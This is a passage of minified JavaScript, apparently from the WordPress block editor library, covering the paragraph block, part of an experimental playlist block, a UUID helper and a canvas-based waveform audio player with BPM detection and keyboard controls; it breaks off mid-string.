An=o(I(),1),rg=o(A(),1),Rn=o(T(),1),YJ=o(U(),1);var jJ=o(j(),1),UJ=o(ue(),1),GJ=o(Cs(),1),eg=o(z(),1),$D=o(T(),1),tg=o(U(),1);function WJ(e){let{batch:t}=(0,eg.useRegistry)(),{moveBlocksToPosition:r,replaceInnerBlocks:a,duplicateBlocks:n,insertBlock:i}=(0,eg.useDispatch)($D.store),{getBlockRootClientId:l,getBlockIndex:s,getBlockOrder:c,getBlockName:u,getBlock:m,getNextBlockClientId:p,canInsertBlockType:d}=(0,eg.useSelect)($D.store),f=(0,jJ.useRef)(e);return f.current=e,(0,UJ.useRefEffect)(h=>{function g(b){if(b.defaultPrevented||b.keyCode!==GJ.ENTER)return;let{content:y,clientId:_}=f.current;if(y.length)return;let x=l(_);if(!(0,tg.hasBlockSupport)(u(x),"__experimentalOnEnter",!1))return;let k=c(x),S=k.indexOf(_);if(S===k.length-1){let B=x;for(;!d(u(_),l(B));)B=l(B);typeof B=="string"&&(b.preventDefault(),r([_],x,l(B),s(B)+1));return}let C=(0,tg.getDefaultBlockName)();if(!d(C,l(x)))return;b.preventDefault();let E=m(x);t(()=>{n([x]);let B=s(x);a(x,E.innerBlocks.slice(0,S)),a(p(x),E.innerBlocks.slice(S+1)),i((0,tg.createBlock)(C),B+1,l(x),!0)})}return h.addEventListener("keydown",g),()=>{h.removeEventListener("keydown",g)}},[])}var $J=o(ue(),1),gw=o(j(),1),qJ=o(Nf(),1),ZJ=o(z(),1),KJ=o(T(),1);function QJ(e,t,r){let{__unstableMarkNextChangeAsNotPersistent:a}=(0,ZJ.useDispatch)(KJ.store),n=(0,$J.useEvent)(()=>{(0,qJ.default)("align attribute in paragraph block",{alternative:"style.typography.textAlign",since:"7.0"}),a(),r({style:{...t,typography:{...t?.typography,textAlign:e}}})}),i=(0,gw.useRef)();(0,gw.useEffect)(()=>{e==="full"||e==="wide"||e===i.current||(i.current=e,n())},[e,n])}var wi=o(v(),1);function x_e({direction:e,setDirection:t}){return(0,An.isRTL)()&&(0,wi.jsx)(rg.ToolbarButton,{icon:z9,title:(0,An._x)("Left to right","editor button"),isActive:e==="ltr",onClick:()=>{t(e==="ltr"?void 0:"ltr")}})}function qD(e){return e===((0,An.isRTL)()?"left":"right")||e==="center"}function __e({clientId:e,attributes:t,setAttributes:r,name:a}){let[n]=(0,Rn.useSettings)("typography.dropCap");if(!n)return null;let{style:i,dropCap:l}=t,s=i?.typography?.textAlign,c;qD(s)?c=(0,An.__)("Not available for aligned text."):l?c=(0,An.__)("Showing large initial letter."):c=(0,An.__)("Show a large initial letter.");let u=(0,YJ.getBlockSupport)(a,"typography.defaultControls.dropCap",!1);return(0,wi.jsx)(Rn.InspectorControls,{group:"typography",children:(0,wi.jsx)(rg.__experimentalToolsPanelItem,{hasValue:()=>!!l,label:(0,An.__)("Drop cap"),isShownByDefault:u,onDeselect:()=>r({dropCap:!1}),resetAllFilter:()=>({dropCap:!1}),panelId:e,children:(0,wi.jsx)(rg.ToggleControl,{label:(0,An.__)("Drop cap"),checked:!!l,onChange:()=>r({dropCap:!l}),help:c,disabled:qD(s)})})})}function k_e({attributes:e,mergeBlocks:t,onReplace:r,onRemove:a,setAttributes:n,clientId:i,isSelected:l,name:s}){let{content:c,direction:u,dropCap:m,placeholder:p,style:d}=e,f=d?.typography?.textAlign;QJ(e.align,d,n);let h=(0,Rn.useBlockProps)({ref:WJ({clientId:i,content:c}),className:w({"has-drop-cap":qD(f)?!1:m}),style:{direction:u}}),g=(0,Rn.useBlockEditingMode)();return(0,wi.jsxs)(wi.Fragment,{children:[g==="default"&&(0,wi.jsx)(Rn.BlockControls,{group:"block",children:(0,wi.jsx)(x_e,{direction:u,setDirection:b=>n({direction:b})})}),l&&(0,wi.jsx)(__e,{name:s,clientId:i,attributes:e,setAttributes:n}),(0,wi.jsx)(Rn.RichText,{identifier:"content",tagName:"p",...h,value:c,onChange:b=>n({content:b}),onMerge:t,onReplace:r,onRemove:a,"aria-label":Rn.RichText.isEmpty(c)?(0,An.__)("Empty block; start writing or type forward slash to choose a block"):(0,An.__)("Block: Paragraph"),"data-empty":Rn.RichText.isEmpty(c),placeholder:p||(0,An.__)("Type / to choose a block"),"data-custom-placeholder":p?!0:void 0,__unstableEmbedURLOnPaste:!0,__unstableAllowPrefixTransformations:!0})]})}var XJ=k_e;var og={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,name:"core/paragraph",title:"Paragraph",category:"text",description:"Start with the basic building block of all narrative.",keywords:["text"],textdomain:"default",attributes:{content:{type:"rich-text",source:"rich-text",selector:"p",role:"content"},dropCap:{type:"boolean",default:!1},placeholder:{type:"string"},direction:{type:"string",enum:["ltr","rtl"]}},supports:{align:["wide","full"],splitting:!0,anchor:!0,className:!1,__experimentalBorder:{color:!0,radius:!0,style:!0,width:!0},color:{gradients:!0,link:!0,__experimentalDefaultControls:{background:!0,text:!0}},spacing:{margin:!0,padding:!0,__experimentalDefaultControls:{margin:!1,padding:!1}},typography:{fontSize:!0,lineHeight:!0,textAlign:!0,textColumns:!0,textIndent:!0,__experimentalFontFamily:!0,__experimentalTextDecoration:!0,__experimentalFontStyle:!0,__experimentalFontWeight:!0,__experimentalLetterSpacing:!0,__experimentalTextTransform:!0,__experimentalWritingMode:!0,fitText:!0,__experimentalDefaultControls:{fontSize:!0}},__experimentalSelector:"p",__unstablePasteTextInline:!0,interactivity:{clientNavigation:!0}},selectors:{root:"p",typography:{textIndent:".wp-block-paragraph + .wp-block-paragraph"}},editorStyle:"wp-block-paragraph-editor",style:"wp-block-paragraph"};var vw=o(T(),1),JJ=o(I(),1),ZD=o(v(),1);function eee({attributes:e}){let{content:t,dropCap:r,direction:a,style:n}=e,i=n?.typography?.textAlign,l=w({"has-drop-cap":i===((0,JJ.isRTL)()?"left":"right")||i==="center"?!1:r});return(0,ZD.jsx)("p",{...vw.useBlockProps.save({className:l,dir:a}),children:(0,ZD.jsx)(vw.RichText.Content,{value:t})})}var bw=o(U(),1);var{name:tee}=og,C_e={from:[{type:"raw",priority:20,selector:"p",schema:({phrasingContentSchema:e,isPaste:t})=>({p:{children:e,attributes:t?[]:["style","id"]}}),transform(e){let t=(0,bw.getBlockAttributes)(tee,e.outerHTML),{textAlign:r}=e.style||{};return(r==="left"||r==="center"||r==="right")&&(t.style={...t.style,typography:{...t.style?.typography,textAlign:r}}),(0,bw.createBlock)(tee,t)}}]},ree=C_e;var{fieldsKey:S_e,formKey:T_e}=Z(oee.privateApis),{name:_w}=og,xw={icon:GT,example:{attributes:{content:(0,yw.__)("In a village of La Mancha, the name of which I have no desire to call to mind, there lived not long since one of those gentlemen that keep a lance in the lance-rack, an old buckler, a lean hack, and a greyhound for coursing.")}},__experimentalLabel(e,{context:t}){let r=e?.metadata?.name;if((t==="list-view"||t==="breadcrumb")&&r)return r;if(t==="accessibility"){if(r)return r;let{content:a}=e;return!a||a.length===0?(0,yw.__)("Empty"):a}},transforms:ree,deprecated:HJ,merge(e,t){return{content:(e.content||"")+(t.content||"")}},edit:XJ,save:eee};window.__experimentalContentOnlyInspectorFields&&(xw[S_e]=[{id:"content",label:(0,yw.__)("Content"),type:"text",Edit:"rich-text"}],xw[T_e]={fields:["content"]});var P_e=()=>N({name:_w,metadata:og,settings:xw});var tL={};q(tL,{init:()=>ike,metadata:()=>kw,name:()=>_ee,settings:()=>kee});var kw={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,__experimental:!0,name:"core/playlist",title:"Playlist",category:"media",description:"Embed a simple playlist.",keywords:["music","sound"],textdomain:"default",allowedBlocks:["core/playlist-track"],attributes:{currentTrack:{type:"string"},type:{type:"string",default:"audio"},order:{type:"string",default:"asc"},showTracklist:{type:"boolean",default:!0},showImages:{type:"boolean",default:!0},showArtists:{type:"boolean",default:!0},showNumbers:{type:"boolean",default:!0},caption:{type:"string"}},providesContext:{showArtists:"showArtists",currentTrack:"currentTrack"},supports:{anchor:!0,align:!0,color:{gradients:!0,link:!0,__experimentalDefaultControls:{background:!0,text:!0}},__experimentalBorder:{color:!0,radius:!0,style:!0,width:!0,__experimentalDefaultControls:{color:!0,radius:!0,style:!0,width:!0}},interactivity:!0,spacing:{margin:!0,padding:!0}},editorStyle:"wp-block-playlist-editor",style:"wp-block-playlist"};var ww,I_e=new Uint8Array(16);function QD(){if(!ww&&(ww=typeof crypto<"u"&&crypto.getRandomValues&&crypto.getRandomValues.bind(crypto),!ww))throw new Error("crypto.getRandomValues() not supported. See https://github.com/uuidjs/uuid#getrandomvalues-not-supported");return ww(I_e)}var na=[];for(let e=0;e<256;++e)na.push((e+256).toString(16).slice(1));function aee(e,t=0){return na[e[t+0]]+na[e[t+1]]+na[e[t+2]]+na[e[t+3]]+"-"+na[e[t+4]]+na[e[t+5]]+"-"+na[e[t+6]]+na[e[t+7]]+"-"+na[e[t+8]]+na[e[t+9]]+"-"+na[e[t+10]]+na[e[t+11]]+na[e[t+12]]+na[e[t+13]]+na[e[t+14]]+na[e[t+15]]}var E_e=typeof crypto<"u"&&crypto.randomUUID&&crypto.randomUUID.bind(crypto),YD={randomUUID:E_e};function N_e(e,t,r){if(YD.randomUUID&&!t&&!e)return YD.randomUUID();e=e||{};let a=e.random||(e.rng||QD)();if(a[6]=a[6]&15|64,a[8]=a[8]&63|128,t){r=r||0;for(let n=0;n<16;++n)t[r+n]=a[n];return t}return aee(a)}var tu=N_e;var yd=o(j(),1),Fr=o(T(),1),ia=o(A(),1),xd=o(z(),1),vee=o(yr(),1),Eo=o(I(),1);var bee=o(U(),1);var mee=o(j(),1),pee=o(ue(),1);function D_e(e){let t={};if(e.dataset.url&&(t.url=e.dataset.url),e.dataset.height&&(t.height=parseInt(e.dataset.height)),e.dataset.samples&&(t.samples=parseInt(e.dataset.samples)),e.dataset.preload&&(t.preload=e.dataset.preload),e.dataset.waveformStyle&&(t.waveformStyle=e.dataset.waveformStyle),e.dataset.barWidth&&(t.barWidth=parseInt(e.dataset.barWidth)),e.dataset.barSpacing&&(t.barSpacing=parseInt(e.dataset.barSpacing)),e.dataset.buttonAlign&&(t.buttonAlign=e.dataset.buttonAlign),e.dataset.colorPreset&&(t.colorPreset=e.dataset.colorPreset),e.dataset.waveformColor&&(t.waveformColor=e.dataset.waveformColor),e.dataset.progressColor&&(t.progressColor=e.dataset.progressColor),e.dataset.buttonColor&&(t.buttonColor=e.dataset.buttonColor),e.dataset.buttonHoverColor&&(t.buttonHoverColor=e.dataset.buttonHoverColor),e.dataset.textColor&&(t.textColor=e.dataset.textColor),e.dataset.textSecondaryColor&&(t.textSecondaryColor=e.dataset.textSecondaryColor),e.dataset.backgroundColor&&(t.backgroundColor=e.dataset.backgroundColor),e.dataset.borderColor&&(t.borderColor=e.dataset.borderColor),e.dataset.color&&(t.waveformColor=e.dataset.color),e.dataset.theme&&(t.colorPreset=e.dataset.theme),e.dataset.autoplay&&(t.autoplay=e.dataset.autoplay==="true"),e.dataset.showTime&&(t.showTime=e.dataset.showTime==="true"),e.dataset.showHoverTime&&(t.showHoverTime=e.dataset.showHoverTime==="true"),e.dataset.showBpm&&(t.showBPM=e.dataset.showBpm==="true"),e.dataset.singlePlay&&(t.singlePlay=e.dataset.singlePlay==="true"),e.dataset.playOnSeek&&(t.playOnSeek=e.dataset.playOnSeek==="true"),e.dataset.title&&(t.title=e.dataset.title),e.dataset.subtitle&&(t.subtitle=e.dataset.subtitle),e.dataset.album&&(t.album=e.dataset.album),e.dataset.artwork&&(t.artwork=e.dataset.artwork),e.dataset.waveform&&(t.waveform=e.dataset.waveform),e.dataset.markers)try{t.markers=JSON.parse(e.dataset.markers)}catch(r){console.warn("Invalid markers JSON:",r)}if(e.dataset.playbackRate&&(t.playbackRate=parseFloat(e.dataset.playbackRate)),e.dataset.showPlaybackSpeed!==void 0&&(t.showPlaybackSpeed=e.dataset.showPlaybackSpeed==="true"),e.dataset.playbackRates)try{t.playbackRates=JSON.parse(e.dataset.playbackRates)}catch(r){console.warn("Invalid playbackRates JSON:",r)}return e.dataset.enableMediaSession!==void 0&&(t.enableMediaSession=e.dataset.enableMediaSession==="true"),t}function nee(e){if(!e||isNaN(e))return"0:00";let t=Math.floor(e/60),r=Math.floor(e%60);return`${t}:${r.toString().padStart(2,"0")}`}function L_e(e){let t=e||Math.random().toString();return btoa(t.substring(0,10)).replace(/[^a-zA-Z0-9]/g,"")}function M_e(e){if(!e)return"Audio";let t=e.split("/");return t[t.length-1].split(".")[0].replace(/[-_]/g," ").replace(/\b\w/g,r=>r.toUpperCase())}function iee(...e){let t={};for(let r of e)for(let a in r)r[a]!==null&&r[a]!==void 0&&(t[a]=r[a]);return t}function A_e(e,t){let r;return function(...a){let n=()=>{clearTimeout(r),e(...a)};clearTimeout(r),r=setTimeout(n,t)}}function Cw(e,t){if(e.length===t)return e;if(e.length===0||t===0)return[];let r=[];if(t>e.length){let a=(e.length-1)/(t-1);for(let n=0;n<t;n++){let i=n*a,l=Math.floor(i),s=Math.ceil(i),c=i-l;if(s>=e.length)r.push(e[e.length-1]);else if(l===s)r.push(e[l]);else{let u=e[l]*(1-c)+e[s]*c;r.push(u)}}}else{let a=e.length/t;for(let n=0;n<t;n++){let i=Math.floor(n*a),l=Math.floor((n+1)*a),s=0,c=0;for(let u=i;u<=l&&u<e.length;u++)e[u]>s&&(s=e[u]),c++;if(c===0){let u=Math.min(Math.round(n*a),e.length-1);s=e[u]}r.push(s)}}return r}function see(e,t,r,a,n){let i=window.devicePixelRatio||1,l=n.barWidth*i,s=n.barSpacing*i,c=Math.floor(t.width/(l+s)),u=Cw(r,c),m=t.height,p=a*t.width;e.clearRect(0,0,t.width,t.height);for(let d=0;d<u.length;d++){let f=d*(l+s);if(f+l>t.width)break;let h=u[d]*m*.9,g=m-h;e.fillStyle=n.color,e.fillRect(f,g,l,h)}e.save(),e.beginPath(),e.rect(0,0,p,m),e.clip();for(let d=0;d<u.length;d++){let f=d*(l+s);if(f>p)break;let h=u[d]*m*.9,g=m-h;e.fillStyle=n.progressColor,e.fillRect(f,g,l,h)}e.restore()}function R_e(e,t,r,a,n){let i=window.devicePixelRatio||1,l=n.barWidth*i,s=n.barSpacing*i,c=Math.floor(t.width/(l+s)),u=Cw(r,c),m=t.height,p=m/2,d=a*t.width;e.clearRect(0,0,t.width,t.height);for(let f=0;f<u.length;f++){let h=f*(l+s);if(h+l>t.width)break;let g=u[f]*m*.45;e.fillStyle=n.color,e.fillRect(h,p-g,l,g),e.fillRect(h,p,l,g)}e.save(),e.beginPath(),e.rect(0,0,d,m),e.clip();for(let f=0;f<u.length;f++){let h=f*(l+s);if(h>d)break;let g=u[f]*m*.45;e.fillStyle=n.progressColor,e.fillRect(h,p-g,l,g),e.fillRect(h,p,l,g)}e.restore()}function z_e(e,t,r,a,n){let i=t.width,l=t.height,s=l/2,c=l*.35;e.clearRect(0,0,i,l);let u=(m,p,d=1,f=!1)=>{f&&(e.shadowBlur=12,e.shadowColor=m),e.strokeStyle=m,e.lineWidth=p,e.lineCap="round",e.lineJoin="round",e.beginPath(),e.moveTo(0,s);let h=[],g=Math.floor(r.length*d);for(let b=0;b<g;b++){let y=b/(r.length-1)*i,_=r[b],x=Math.sin(b*.1)*_,k=s+x*c;h.push({x:y,y:k})}for(let b=0;b<h.length-1;b++){let y=h[b].x+(h[b+1].x-h[b].x)*.5,_=h[b].y,x=h[b+1].x-(h[b+1].x-h[b].x)*.5,k=h[b+1].y;e.bezierCurveTo(y,_,x,k,h[b+1].x,h[b+1].y)}e.stroke(),f&&(e.shadowBlur=0)};e.strokeStyle="rgba(255, 255, 255, 0.03)",e.lineWidth=.5,e.beginPath(),e.moveTo(0,s),e.lineTo(i,s),e.stroke();for(let m=0;m<=10;m++){let p=i/10*m;e.beginPath(),e.moveTo(p,0),e.lineTo(p,l),e.stroke()}u(n.color,2,1,!1),a>0&&u(n.progressColor,3,a,!0)}function V_e(e,t,r,a,n){let i=window.devicePixelRatio||1,l=(n.barWidth||3)*i,s=(n.barSpacing||1)*i,c=Math.floor(t.width/(l+s)),u=Cw(r,c),m=t.height,p=4*i,d=2*i,f=a*t.width,h=m/2;e.clearRect(0,0,t.width,t.height);for(let g=0;g<u.length;g++){let b=g*(l+s);if(b+l>t.width)break;let y=u[g]*m*.9,_=Math.floor(y/(p+d));e.fillStyle=b<f?n.progressColor:n.color;for(let x=0;x<_;x++){let k=x*(p+d);e.fillRect(b,h-k-p,l,p),x>0&&e.fillRect(b,h+k,l,p)}}}function F_e(e,t,r,a,n){let i=window.devicePixelRatio||1,l=(n.barWidth||2)*i,s=(n.barSpacing||3)*i,c=Math.floor(t.width/(l+s)),u=Cw(r,c),m=t.height,p=Math.max(1.5*i,l/2),d=a*t.width,f=m/2;e.clearRect(0,0,t.width,t.height);for(let h=0;h<u.length;h++){let g=h*(l+s)+l/2;if(g>t.width)break;let b=u[h]*m*.9;e.fillStyle=g<d?n.progressColor:n.color,e.beginPath(),e.arc(g,f-b/2,p,0,Math.PI*2),e.fill(),e.beginPath(),e.arc(g,f+b/2,p,0,Math.PI*2),e.fill()}}function O_e(e,t,r,a,n){let i=t.width,l=t.height,s=l/2,c=4,u=c/2;if(e.clearRect(0,0,i,l),e.fillStyle=n.color||"rgba(255, 255, 255, 0.2)",e.beginPath(),e.moveTo(u,s-c/2),e.lineTo(i-u,s-c/2),e.arc(i-u,s,c/2,-Math.PI/2,Math.PI/2),e.lineTo(u,s+c/2),e.arc(u,s,c/2,Math.PI/2,-Math.PI/2),e.closePath(),e.fill(),a>0){let m=Math.max(u*2,a*i);e.shadowBlur=8,e.shadowColor=n.progressColor,e.fillStyle=n.progressColor||"rgba(255, 255, 255, 0.9)",e.beginPath(),e.moveTo(u,s-c/2),e.lineTo(m-u,s-c/2),e.arc(m-u,s,c/2,-Math.PI/2,Math.PI/2),e.lineTo(u,s+c/2),e.arc(u,s,c/2,Math.PI/2,-Math.PI/2),e.closePath(),e.fill(),e.shadowBlur=0;let p=8,d=m;e.shadowBlur=4,e.shadowColor="rgba(0, 0, 0, 0.3)",e.shadowOffsetY=2,e.fillStyle="#ffffff",e.beginPath(),e.arc(d,s,p,0,Math.PI*2),e.fill(),e.shadowBlur=0,e.shadowOffsetY=0,e.fillStyle=n.progressColor||"rgba(255, 255, 255, 0.9)",e.beginPath(),e.arc(d,s,p*.4,0,Math.PI*2),e.fill()}}var H_e={bars:see,mirror:R_e,line:z_e,blocks:V_e,dots:F_e,seekbar:O_e};function j_e(e,t,r,a,n){(H_e[n.waveformStyle]||see)(e,t,r,a,n)}function U_e(e){try{let t=e.getChannelData(0),r=e.sampleRate,a=G_e(t,r);if(a.length<2)return 120;let n=[];for(let c=1;c<a.length;c++)n.push((a[c]-a[c-1])/r);let i={};n.forEach(c=>{let u=60/c,m=Math.round(u/3)*3;m>60&&m<200&&(i[m]=(i[m]||0)+1)});let l=0,s=120;for(let[c,u]of Object.entries(i))u>l&&(l=u,s=parseInt(c));return s<70&&i[s*2]?s*=2:s>160&&i[Math.round(s/2)]&&(s=Math.round(s/2)),s-1}catch(t){return console.warn("BPM detection failed:",t),null}}function G_e(e,t){let r=[],a=0;for(let n=0;n<e.length-2048;n+=1024){let i=0;for(let c=n;c<n+2048;c++)i+=e[c]*e[c];i=i/2048;let l=i-a,s=a*1.8+.01;if(l>s&&i>.01){let c=r[r.length-1]||0,u=t*.15;n-c>u&&r.push(n)}a=i*.8+a*.2}return r}function W_e(e,t=200){let r=e.length/t,a=~~(r/10)||1,n=e.numberOfChannels,i=[];for(let s=0;s<n;s++){let c=e.getChannelData(s);for(let u=0;u<t;u++){let m=~~(u*r),p=~~(m+r),d=0,f=0;for(let g=m;g<p;g+=a){let b=c[g];b>f&&(f=b),b<d&&(d=b)}let h=Math.max(Math.abs(f),Math.abs(d));(s===0||h>i[u])&&(i[u]=h)}}let l=Math.max(...i);return l>0?i.map(s=>s/l):i}async function lee(e,t=200,r=!1){try{let a=new(window.AudioContext||window.webkitAudioContext),n=await(await fetch(e)).arrayBuffer(),i=await a.decodeAudioData(n),l=W_e(i,t);l=q_e(l);let s=null;return r&&(s=await U_e(i)),a.close(),{peaks:l,bpm:s}}catch(a){throw console.error("Failed to generate waveform:",a),a}}function $_e(e=200){let t=[];for(let r=0;r<e;r++){let a=Math.random()*.5+.3,n=Math.sin(r/e*Math.PI*4)*.2;t.push(Math.max(.1,Math.min(1,a+n)))}return t}function q_e(e,t=.95){let r=Math.max(...e);if(r===0||r>t)return e;let a=t/r;return e.map(n=>n*a)}function Z_e(){let e=document.documentElement,t=document.body;if(e.classList.contains("dark")||e.classList.contains("dark-mode")||e.classList.contains("theme-dark")||e.getAttribute("data-theme")==="dark"||e.getAttribute("data-color-scheme")==="dark"||t.classList.contains("dark")||t.classList.contains("dark-mode")||t.getAttribute("data-theme")==="dark")return"dark";if(e.classList.contains("light")||e.classList.contains("light-mode")||e.classList.contains("theme-light")||e.getAttribute("data-theme")==="light"||e.getAttribute("data-color-scheme")==="light"||t.classList.contains("light")||t.classList.contains("light-mode")||t.getAttribute("data-theme")==="light")return"light";try{let r=getComputedStyle(document.body).backgroundColor.match(/\d+/g);if(r&&r.length>=3){let[a,n,i]=r.map(Number),l=(a*299+n*587+i*114)/1e3;if(l>128)return"light";if(l<128)return"dark"}}catch{}if(window.matchMedia){if(window.matchMedia("(prefers-color-scheme: dark)").matches)return"dark";if(window.matchMedia("(prefers-color-scheme: light)").matches)return"light"}return"dark"}var XD={dark:{waveformColor:"rgba(255, 255, 255, 0.3)",progressColor:"rgba(255, 255, 255, 0.9)",buttonColor:"rgba(255, 255, 255, 0.9)",buttonHoverColor:"rgba(255, 255, 255, 1)",textColor:"#ffffff",textSecondaryColor:"rgba(255, 255, 255, 0.6)",backgroundColor:"rgba(255, 255, 255, 0.03)",borderColor:"rgba(255, 255, 255, 0.1)"},light:{waveformColor:"rgba(0, 0, 0, 0.2)",progressColor:"rgba(0, 0, 0, 0.8)",buttonColor:"rgba(0, 0, 0, 0.8)",buttonHoverColor:"rgba(0, 0, 0, 0.9)",textColor:"#333333",textSecondaryColor:"rgba(0, 0, 0, 0.6)",backgroundColor:"rgba(0, 0, 0, 0.02)",borderColor:"rgba(0, 0, 0, 0.1)"}};function K_e(e){if(e&&XD[e])return XD[e];let t=Z_e();return XD[t]}var Q_e={url:"",height:60,samples:200,preload:"metadata",playbackRate:1,showPlaybackSpeed:!1,playbackRates:[.5,.75,1,1.25,1.5,1.75,2],buttonAlign:"auto",waveformStyle:"mirror",barWidth:2,barSpacing:0,colorPreset:null,waveformColor:null,progressColor:null,buttonColor:null,buttonHoverColor:null,textColor:null,textSecondaryColor:null,backgroundColor:null,borderColor:null,autoplay:!1,showTime:!0,showHoverTime:!1,showBPM:!1,singlePlay:!0,playOnSeek:!0,enableMediaSession:!0,markers:[],showMarkers:!0,title:null,subtitle:null,artwork:null,album:"",playIcon:'<svg viewBox="0 0 24 24" width="16" height="16"><path d="M8 5v14l11-7z"/></svg>',pauseIcon:'<svg viewBox="0 0 24 24" width="16" height="16"><path d="M6 4h4v16H6zM14 4h4v16h-4z"/></svg>',onLoad:null,onPlay:null,onPause:null,onEnd:null,onError:null,onTimeUpdate:null},Y_e={bars:{barWidth:3,barSpacing:1},mirror:{barWidth:2,barSpacing:0},line:{barWidth:2,barSpacing:0},blocks:{barWidth:4,barSpacing:2},dots:{barWidth:3,barSpacing:3},seekbar:{barWidth:1,barSpacing:0}},Sw=class ol{static instances=new Map;static currentlyPlaying=null;constructor(t,r={}){if(this.container=typeof t=="string"?document.querySelector(t):t,!this.container)throw new Error("WaveformPlayer: Container element not found");let a=D_e(this.container);this.options=iee(Q_e,a,r);let n=K_e(this.options.colorPreset);for(let[l,s]of Object.entries(n))(this.options[l]===null||this.options[l]===void 0)&&(this.options[l]=s);let i=Y_e[this.options.waveformStyle];i&&(a.barWidth===void 0&&r.barWidth===void 0&&(this.options.barWidth=i.barWidth),a.barSpacing===void 0&&r.barSpacing===void 0&&(this.options.barSpacing=i.barSpacing)),this.audio=null,this.canvas=null,this.ctx=null,this.waveformData=[],this.progress=0,this.isPlaying=!1,this.isLoading=!1,this.hasError=!1,this.updateTimer=null,this.resizeObserver=null,this.id=this.container.id||L_e(this.options.url),ol.instances.set(this.id,this),this.init(),setTimeout(()=>{this.container.dispatchEvent(new CustomEvent("waveformplayer:ready",{bubbles:!0,detail:{player:this,url:this.options.url}}))},100)}init(){this.createDOM(),this.createAudio(),this.initPlaybackSpeed(),this.initKeyboardControls(),this.bindEvents(),this.setupResizeObserver(),requestAnimationFrame(()=>{this.resizeCanvas(),this.options.url&&this.load(this.options.url).then(()=>{this.options.autoplay&&this.play()}).catch(t=>{console.error("Failed to load audio:",t)})})}createDOM(){this.container.innerHTML="",this.container.className="waveform-player";let t=this.options.buttonAlign;t==="auto"&&(this.options.waveformStyle==="bars"?t="bottom":t="center"),this.container.innerHTML=`
  <div class="waveform-player-inner">
    <div class="waveform-body">
      <div class="waveform-track waveform-align-${t}">
        <button class="waveform-btn" aria-label="Play/Pause" style="
            border-color: ${this.options.buttonColor};
            color: ${this.options.buttonColor};
        ">
          <span class="waveform-icon-play">${this.options.playIcon}</span>
          <span class="waveform-icon-pause" style="display:none;">${this.options.pauseIcon}</span>
        </button>
        
        <div class="waveform-container">
          <canvas></canvas>
          <div class="waveform-markers"></div>
          <div class="waveform-loading" style="display:none;"></div>
          <div class="waveform-error" style="display:none;">
            <span class="waveform-error-text">Unable to load audio</span>
          </div>
        </div>
      </div>
      
      <div class="waveform-info">
        ${this.options.artwork?`
          <img class="waveform-artwork" src="${this.options.artwork}" alt="Album artwork" style="
            width: 40px;
            height: 40px;
            border-radius: 4px;
            object-fit: cover;
            flex-shrink: 0;
          ">
        `:""}
        <div class="waveform-text">
          <span class="waveform-title" style="color: ${this.options.textColor};"></span>
          ${this.options.subtitle?`<span class="waveform-subtitle" style="color: ${this.options.textSecondaryColor};">${this.options.subtitle}</span>`:""}
        </div>
        <div style="display: flex; align-items: center; gap: 1rem;">
          ${this.options.showBPM?`
            <span class="waveform-bpm" style="color: ${this.options.textSecondaryColor}; display: none;">
              <span class="bpm-value">--</span> BPM
            </span>
          `:""}
          ${this.options.showPlaybackSpeed?`
            <div class="waveform-speed">
              <button class="speed-btn" aria-label="Playback speed">
                <span class="speed-value">1x</span>
              </button>
              <div class="speed-menu" style="display: none;">
                ${this.options.playbackRates.map(r=>`<button class="speed-option" data-rate="${r}">${r}x</button>`).join("")}
              </div>
            </div>
          `:""}
          ${this.options.showTime?`
            <span class="waveform-time" style="color: ${this.options.textSecondaryColor};">
              <span class="time-current">0:00</span> / <span class="time-total">0:00</span>
            </span>
          `:""}
        </div>
      </div>
    </div>
  </div>
`,this.playBtn=this.container.querySelector(".waveform-btn"),this.canvas=this.container.querySelector("canvas"),this.ctx=this.canvas.getContext("2d"),this.titleEl=this.container.querySelector(".waveform-title"),this.subtitleEl=this.container.querySelector(".waveform-subtitle"),this.artworkEl=this.container.querySelector(".waveform-artwork"),this.currentTimeEl=this.container.querySelector(".time-current"),this.totalTimeEl=this.container.querySelector(".time-total"),this.bpmEl=this.container.querySelector(".waveform-bpm"),this.bpmValueEl=this.container.querySelector(".bpm-value"),this.loadingEl=this.container.querySelector(".waveform-loading"),this.errorEl=this.container.querySelector(".waveform-error"),this.markersContainer=this.container.querySelector(".waveform-markers"),this.speedBtn=this.container.querySelector(".speed-btn"),this.speedMenu=this.container.querySelector(".speed-menu"),this.resizeCanvas()}createAudio(){this.audio=new Audio,this.audio.preload=this.options.preload||"metadata",this.audio.crossOrigin="anonymous"}initPlaybackSpeed(){this.options.playbackRate&&this.options.playbackRate!==1&&(this.audio.playbackRate=this.options.playbackRate),this.options.showPlaybackSpeed&&this.initSpeedControls()}initSpeedControls(){let t=this.container.querySelector(".speed-btn"),r=this.container.querySelector(".speed-menu");!t||!r||(t.addEventListener("click",a=>{a.stopPropagation(),r.style.display=r.style.display==="none"?"block":"none"}),document.addEventListener("click",()=>{r.style.display="none"}),r.addEventListener("click",a=>{if(a.stopPropagation(),a.target.classList.contains("speed-option")){let n=parseFloat(a.target.dataset.rate);this.setPlaybackRate(n),r.style.display="none"}}),this.updateSpeedUI())}initKeyboardControls(){this.container.setAttribute("tabindex","-1"),this.container.addEventListener("click",()=>{ol.getAllInstances().forEach(t=>{t!==this&&t.container.setAttribute("tabindex","-1")}),this.container.setAttribute("tabindex","0"),this.container.focus()}),this.container.addEventListener("keydown",t=>{if(document.activeElement!==this.container)return;let r=t.key,a=this.audio.currentTime;if(r>="0"&&r<="9"){t.preventDefault(),this.seekToPercent(parseInt(r)/10);return}let n={" ":()=>this.togglePlay(),ArrowLeft:()=>this.seekTo(Math.max(0,a-5)),ArrowRight:()=>this.seekTo(Math.min(this.audio.duration,a+5)),ArrowUp:()=>this.setVolume(Math.min(1,this.audio.volume+.1)),ArrowDown:()=>this.setVolume(Math.max(0,this.audio.volume-.1)),m:()=>this.audio.muted=!this.audio.muted,M:()=>this.audio.muted=!this.audio.muted};n[r]&&(t.preventDefault(),n[r]())})}initMediaSession(){!("mediaSession"in navigator)||!this.options.enableMediaSession||(navigator.mediaSession.metadata=new MediaMetadata({title:this.options.title||"Unknown 